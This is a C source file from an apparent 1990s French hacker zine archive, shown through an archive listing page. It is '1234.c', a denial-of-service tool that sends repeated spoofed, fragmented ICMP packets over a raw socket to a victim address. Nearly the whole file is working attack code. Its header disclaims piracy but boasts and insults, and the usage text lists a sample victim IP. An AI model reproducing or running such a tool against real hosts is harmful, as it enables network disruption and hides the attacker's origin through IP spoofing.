home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / 1234.c next >
C/C++ Source or Header  |  1999-01-01  |  6KB  |  210 lines

  1. /* CAMELEON GROUPE PRESENTE 1234.c un denial of service parmit t'en d'autre
  2.  * 
  3.  * ATTENTION: Se denial of service a ete crÈe pour etude(but educatif) sur l *
  4.  * 'icmp.Il est interdit de s'en servir pour un but de piratage.Le piratage est
  5.  *
  6.  * interdit.Je ne me tien pas responsable de se que vous ferez de se prog.
  7.  *
  8.  * Pour me trouvez 2 solution - faire le n∞17 sur son tel ou - m'ecrire ‡
  9.  *
  10.  * tony@funradio.fr ;) THE SCRIPT CAME.BX sera bientot disponible!
  11.  *
  12.  * I F.O.A.D. BILL GATE , MICROSHIT , LES POULETS , WINDAUBE , FIREBALL ,
  13.  *
  14.  * NEWBIES , LAMES , PD , COWBOYs AND WARLORDs , tous se qui ont pas 
  15.  *
  16.  * cruent en moi , JCzic(tu aurras jamais linux, mais linux te turas).   
  17.  *
  18.  * Merci ‡: Les operateurs de #funradio, mach..., rewtou, cod4, 
  19.  *
  20.  * ...et tous les autres.  
  21.  *
  22.  * CAMELEON GROUPE F.O.A.D. THE WORLD! VIVE LA FRANCE!
  23.  */
  24.  
  25. #include <stdio.h>
  26. #include <unistd.h>
  27. #include <stdlib.h>
  28. #include <string.h>
  29. #include <sys/types.h>
  30. #include <sys/time.h>
  31. #include <sys/socket.h>
  32. #include <netdb.h>
  33. #include <netinet/in.h>
  34. #include <netinet/ip.h>
  35. #include <netinet/ip_icmp.h>
  36.  
  37. void banner(void) {
  38.     
  39.    printf("\n1234 1.0 BY CAMELEON G.\n");
  40.    printf("reprise de came.c and ssping.c\n\n");
  41.  
  42. }
  43.  
  44. void usage(const char *progname) {
  45.  
  46.    printf("usage :\n");
  47.    printf("%s <spoof adresse> <dst ip> <num>\n",progname);
  48.    printf(" < spoof   > : ip spoof ex: 127.0.0.1\n");
  49.    printf(" < dest    > : ip victim ex:193.252.19.3\n");
  50.    printf(" < number  > : 10\n");
  51.    printf(" Se denial of service rulezzzzzzzzzzz! Non?\n");
  52.    printf(" Se prog ‡ ÈtÈ fait pour l'etude et pas pour s'en servir.\n");
  53. }
  54.  
  55. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  56.  
  57.    struct hostent *host;
  58.  
  59.    memset(addr,0,sizeof(struct sockaddr_in));
  60.  
  61.    addr->sin_family = AF_INET;
  62.    addr->sin_addr.s_addr = inet_addr(name);
  63.  
  64.    if (addr->sin_addr.s_addr == -1) {
  65.       if (( host = gethostbyname(name) ) == NULL )  {
  66.          fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  67.          return(-1);
  68.       }
  69.       addr->sin_family = host->h_addrtype;
  70.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  71.    }
  72.  
  73.    addr->sin_port = htons(port);
  74.    return(0);
  75.  
  76. }
  77.  
  78. unsigned short in_cksum(addr, len)
  79.     u_short *addr;
  80.     int len;
  81. {
  82.     register int nleft = len;
  83.     register u_short *w = addr;
  84.     register int sum = 0;
  85.     u_short answer = 0;
  86.  
  87.     /*
  88.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  89.      * sequential 16 bit words to it, and at the end, fold back all the
  90.      * carry bits from the top 16 bits into the lower 16 bits.
  91.      */
  92.     while (nleft > 1)  {
  93.         sum += *w++;
  94.         nleft -= 2;
  95.     }
  96.  
  97.     /* mop up an odd byte, if necessary */
  98.     if (nleft == 1) {
  99.         *(u_char *)(&answer) = *(u_char *)w ;
  100.         sum += answer;
  101.     }
  102.  
  103.     /* add back carry outs from top 16 bits to low 16 bits */
  104.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  105.     sum += (sum >> 16);            /* add carry */
  106.     answer = ~sum;            /* truncate to 16 bits */
  107.     return(answer);
  108. }
  109.  
  110. int send_winbomb(int socket,
  111.                  unsigned long spoof_addr,
  112.                  struct sockaddr_in *dest_addr) {
  113.  
  114.    unsigned char  *packet;
  115.    struct iphdr   *ip;
  116.    struct icmphdr *icmp;
  117.    int rc;
  118.  
  119.         
  120.    packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  121.                                 sizeof(struct icmphdr) + 8);
  122.  
  123.    ip = (struct iphdr *)packet;
  124.    icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  125.  
  126.    memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  127.    
  128.    /* This is the IP header of our packet. */
  129.  
  130.    ip->ihl      = 5;
  131.    ip->version  = 4;
  132. // ip->tos      = 2;
  133.    ip->id       = htons(1234);
  134.    ip->frag_off |= htons(0x2000);
  135. // ip->tot_len  = 0;
  136.    ip->ttl      = 30;
  137.    ip->protocol = IPPROTO_ICMP;
  138.    ip->saddr    = spoof_addr;
  139.    ip->daddr    = dest_addr->sin_addr.s_addr;
  140.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  141.  
  142.  
  143.    icmp->type            = 12;
  144.    icmp->code            = 0;
  145.    icmp->checksum        = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  146.  
  147.    if (sendto(socket,
  148.               packet,
  149.               sizeof(struct iphdr) +
  150.               sizeof(struct icmphdr) + 1,0,
  151.               (struct sockaddr *)dest_addr,
  152.               sizeof(struct sockaddr)) == -1) { return(-1); }
  153.    
  154.  
  155.    ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  156.    ip->frag_off = htons(8 >> 3);
  157.    ip->frag_off |= htons(0x2000);
  158.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  159.  
  160.    icmp->type = 0;
  161.    icmp->code = 0;
  162.    icmp->checksum = 0;
  163.  
  164.    if (sendto(socket,
  165.               packet,
  166.               sizeof(struct iphdr) +
  167.               sizeof(struct icmphdr) + 8,0,
  168.               (struct sockaddr *)dest_addr,
  169.               sizeof(struct sockaddr)) == -1) { return(-1); }
  170.  
  171.    free(packet);
  172.    return(0);
  173.  
  174. }
  175.  
  176. int main(int argc, char * *argv) {
  177.  
  178.    struct sockaddr_in dest_addr;
  179.    unsigned int i,sock;
  180.    unsigned long src_addr;
  181.  
  182.    banner();
  183.    if ((argc != 4)) {
  184.       usage(argv[0]);
  185.       return(-1);
  186.    }
  187.    
  188.    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
  189.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  190.       return(-1);
  191.    }
  192.    
  193.    if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
  194.    src_addr = dest_addr.sin_addr.s_addr;
  195.  
  196.    if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
  197.  
  198.    printf("%s: J'envoie la sauce! b00m!\n",argv[0]);
  199.    for (i = 0;i < atoi(argv[3]);i++) {
  200.       if (send_winbomb(sock,
  201.                        src_addr,
  202.                        &dest_addr) == -1) {
  203.          fprintf(stderr,"ERROR: faut etre root IDIO.\n");
  204.          return(-1);
  205.       }
  206.       usleep(10000);
  207.    }
  208. }
  209.  
  210.